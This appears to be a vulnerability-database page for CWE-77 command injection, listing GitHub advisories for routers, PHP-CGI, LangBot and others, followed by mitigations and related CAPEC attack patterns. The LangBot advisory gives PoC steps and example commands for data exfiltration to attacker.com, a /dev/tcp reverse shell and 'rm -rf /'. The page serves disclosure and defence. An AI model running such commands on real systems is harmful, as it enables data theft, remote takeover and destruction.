CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5383 vulnerabilities reference this CWE, most recent first.
GHSA-3MM5-RH7G-PH5J
Vulnerability from github – Published: 2022-01-29 00:00 – Updated: 2023-07-11 21:30A command injection remote code execution vulnerability was discovered on Western Digital My Cloud Devices that could allow an attacker to execute arbitrary system commands on the device. The vulnerability was addressed by escaping individual arguments to shell functions coming from user input.
{
"affected": [],
"aliases": [
"CVE-2022-22992"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-28T20:15:00Z",
"severity": "CRITICAL"
},
"details": "A command injection remote code execution vulnerability was discovered on Western Digital My Cloud Devices that could allow an attacker to execute arbitrary system commands on the device. The vulnerability was addressed by escaping individual arguments to shell functions coming from user input.",
"id": "GHSA-3mm5-rh7g-ph5j",
"modified": "2023-07-11T21:30:56Z",
"published": "2022-01-29T00:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22992"
},
{
"type": "WEB",
"url": "https://www.westerndigital.com/support/product-security/wdc-22002-my-cloud-os5-firmware-5-19-117"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3MP3-6FG3-7HXJ
Vulnerability from github – Published: 2024-12-27 18:30 – Updated: 2025-10-22 00:33A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface. The manipulation of the argument session leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component.
{
"affected": [],
"aliases": [
"CVE-2024-12987"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-27T16:15:24Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface. The manipulation of the argument session leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component.",
"id": "GHSA-3mp3-6fg3-7hxj",
"modified": "2025-10-22T00:33:12Z",
"published": "2024-12-27T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12987"
},
{
"type": "WEB",
"url": "https://fw.draytek.com.tw/Vigor2960/Firmware/v1.5.1.5/DrayTek_Vigor2960_V1.5.1.5_01release-note.pdf"
},
{
"type": "WEB",
"url": "https://fw.draytek.com.tw/Vigor300B/Firmware/v1.5.1.5/DrayTek_Vigor300B_V1.5.1.5_01release-note.pdf"
},
{
"type": "WEB",
"url": "https://fw.draytek.com.tw/Vigor3900/Firmware/v1.5.1.5/DrayTek_Vigor3900_V1.5.1.5_01release-note.pdf"
},
{
"type": "WEB",
"url": "https://netsecfish.notion.site/Command-Injection-in-apmcfgupload-endpoint-for-DrayTek-Gateway-Devices-1676b683e67c8040b7f1f0ffe29ce18f"
},
{
"type": "WEB",
"url": "https://netsecfish.notion.site/Command-Injection-in-apmcfgupload-endpoint-for-DrayTek-Gateway-Devices-1676b683e67c8040b7f1f0ffe29ce18f?pvs=4"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.289380"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.289380"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.468795"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-12987"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3P37-HV77-X3RP
Vulnerability from github – Published: 2022-05-14 03:49 – Updated: 2025-11-04 18:30sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
{
"affected": [],
"aliases": [
"CVE-2012-1823"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-05-11T10:15:00Z",
"severity": "HIGH"
},
"details": "sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the \u0027d\u0027 case.",
"id": "GHSA-3p37-hv77-x3rp",
"modified": "2025-11-04T18:30:33Z",
"published": "2022-05-14T03:49:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1823"
},
{
"type": "WEB",
"url": "https://bugs.php.net/bug.php?id=61910"
},
{
"type": "WEB",
"url": "https://bugs.php.net/patch-display.php?bug_id=61910\u0026patch=cgi.diff\u0026revision=1335984315\u0026display=1"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PKGTQUOA2NTZ3RXN22CSAUJPIRUYRB4B"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W45DBOH56NQDRTOM2DN2LNA2FZIMC3PK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PKGTQUOA2NTZ3RXN22CSAUJPIRUYRB4B"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2012-1823"
},
{
"type": "WEB",
"url": "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823"
},
{
"type": "WEB",
"url": "http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2012/Sep/msg00004.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2012-05/msg00002.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2012-05/msg00007.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2012-05/msg00011.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=134012830914727\u0026w=2"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-0546.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-0547.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-0568.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-0569.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-0570.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49014"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49065"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49085"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49087"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT5501"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2012/dsa-2465"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/520827"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/673343"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2012:068"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/06/07/1"
},
{
"type": "WEB",
"url": "http://www.php.net/ChangeLog-5.php#5.4.2"
},
{
"type": "WEB",
"url": "http://www.php.net/archive/2012.php#id2012-05-03-1"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1027022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3P3P-PVM7-CGGR
Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2022-05-24 17:32Winston 1.5.4 devices are vulnerable to command injection via the API.
{
"affected": [],
"aliases": [
"CVE-2020-16257"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-28T17:15:00Z",
"severity": "CRITICAL"
},
"details": "Winston 1.5.4 devices are vulnerable to command injection via the API.",
"id": "GHSA-3p3p-pvm7-cggr",
"modified": "2022-05-24T17:32:30Z",
"published": "2022-05-24T17:32:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16257"
},
{
"type": "WEB",
"url": "https://labs.bishopfox.com/advisories/winston-privacy-version-1.5.4"
},
{
"type": "WEB",
"url": "https://winstonprivacy.com"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3P3V-QHPW-QRGR
Vulnerability from github – Published: 2026-04-23 18:33 – Updated: 2026-04-23 18:33An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the stun-user parameter to /cgi-bin/cstecgi.cgi.
{
"affected": [],
"aliases": [
"CVE-2026-31176"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-23T18:16:24Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the stun-user parameter to /cgi-bin/cstecgi.cgi.",
"id": "GHSA-3p3v-qhpw-qrgr",
"modified": "2026-04-23T18:33:04Z",
"published": "2026-04-23T18:33:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31176"
},
{
"type": "WEB",
"url": "https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-stun-user-cmd-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3P4R-X5MR-F32G
Vulnerability from github – Published: 2023-03-24 15:30 – Updated: 2023-03-28 15:30TOTOLink outdoor CPE CP900 V6.3c.566_B20171026 is discovered to contain a command injection vulnerability in the setWebWlanIdx function via the webWlanIdx parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2022-28495"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-24T14:15:00Z",
"severity": "CRITICAL"
},
"details": "TOTOLink outdoor CPE CP900 V6.3c.566_B20171026 is discovered to contain a command injection vulnerability in the setWebWlanIdx function via the webWlanIdx parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.",
"id": "GHSA-3p4r-x5mr-f32g",
"modified": "2023-03-28T15:30:17Z",
"published": "2023-03-24T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28495"
},
{
"type": "WEB",
"url": "https://github.com/B2eFly/CVE/blob/main/totolink/CP900/3/3.md"
},
{
"type": "WEB",
"url": "https://github.com/B2eFly/Router/blob/main/totolink/CP900/3/3.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3P9M-6822-R65W
Vulnerability from github – Published: 2025-08-11 03:30 – Updated: 2025-08-11 03:30A vulnerability was identified in Linksys RE6250, RE6300, RE6350, RE6500, RE7000 and RE9000 up to 20250801. This affects the function RP_setBasicAuto of the file /goform/RP_setBasicAuto. The manipulation of the argument staticIp/staticNetmask leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-8825"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-11T03:15:25Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in Linksys RE6250, RE6300, RE6350, RE6500, RE7000 and RE9000 up to 20250801. This affects the function RP_setBasicAuto of the file /goform/RP_setBasicAuto. The manipulation of the argument staticIp/staticNetmask leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-3p9m-6822-r65w",
"modified": "2025-08-11T03:30:29Z",
"published": "2025-08-11T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8825"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/Linksys1/vuln_41/41.md"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/Linksys1/vuln_41/41.md#poc"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.319359"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.319359"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.626690"
},
{
"type": "WEB",
"url": "https://www.linksys.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3PJ6-82HG-M85C
Vulnerability from github – Published: 2026-02-18 00:30 – Updated: 2026-02-20 09:31A weakness has been identified in jishi node-sonos-http-api up to 3776f0ee2261c924c7b7204de121a38100a08ca7. Affected is the function Promise of the file lib/tts-providers/mac-os.js of the component TTS Provider. This manipulation of the argument phrase causes os command injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-2629"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-17T22:18:45Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in jishi node-sonos-http-api up to 3776f0ee2261c924c7b7204de121a38100a08ca7. Affected is the function Promise of the file lib/tts-providers/mac-os.js of the component TTS Provider. This manipulation of the argument phrase causes os command injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-3pj6-82hg-m85c",
"modified": "2026-02-20T09:31:21Z",
"published": "2026-02-18T00:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2629"
},
{
"type": "WEB",
"url": "https://github.com/jishi/node-sonos-http-api/issues/915"
},
{
"type": "WEB",
"url": "https://github.com/XavLimSG/Vulnerability-Research/blob/main/CVE-2026-2629/CVE-2026-2629.md"
},
{
"type": "WEB",
"url": "https://github.com/jishi/node-sonos-http-api"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.346280"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.346280"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.752762"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3PQP-QX7R-VPPF
Vulnerability from github – Published: 2023-12-15 18:30 – Updated: 2023-12-19 21:32MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.
{
"affected": [],
"aliases": [
"CVE-2023-50917"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-15T17:15:12Z",
"severity": "CRITICAL"
},
"details": "MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.",
"id": "GHSA-3pqp-qx7r-vppf",
"modified": "2023-12-19T21:32:20Z",
"published": "2023-12-15T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50917"
},
{
"type": "WEB",
"url": "https://github.com/sergejey/majordomo/commit/0662e5ebfb133445ff6154b69c61019357092178"
},
{
"type": "WEB",
"url": "https://github.com/sergejey/majordomo/commit/3ec3ffb863ea3c2661ab27d398776c551f4daaac"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176273/MajorDoMo-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176669/MajorDoMo-Command-Injection.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Dec/19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3PVH-63GF-J9MW
Vulnerability from github – Published: 2026-07-15 17:39 – Updated: 2026-07-15 17:39Summary
Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.
Details
The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.
Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.
PoC
- Open the LangBot server
- Navigate to Extensions
- Open the "MCP" tab and press "Add"
- Choose an STDIO server configuration
- Add any arbitrary command with arguments
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.
Impact
This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Video POC
https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea
Resources
https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langbot"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54449"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T17:39:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an \"STDIO\" MCP with an arbitrary command.\n\n### Details\nThe repository uses StdioServerParameters which is based on Anthropic\u0027s modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.\n\nSince the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.\n\n### PoC\n1. Open the LangBot server\n2. Navigate to Extensions\n3. Open the \"MCP\" tab and press \"Add\"\n4. Choose an STDIO server configuration\n5. Add any arbitrary command with arguments\n\u003cimg width=\"480\" height=\"538\" alt=\"Screenshot 2026-01-19 at 15 08 43\" src=\"https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd\" /\u003e\n\nNote that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261), potentially removing the whole machine\u0027s data (rm -rf / --no-preserve-root), and many more.\n\n### Impact\nThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement).\nCWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027).\n\n### Video POC\nhttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea\n\n### Resources\nhttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/\nhttps://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/",
"id": "GHSA-3pvh-63gf-j9mw",
"modified": "2026-07-15T17:39:34Z",
"published": "2026-07-15T17:39:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw"
},
{
"type": "PACKAGE",
"url": "https://github.com/langbot-app/LangBot"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LangBot: Authenticated RCE Via MCP Configuration"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.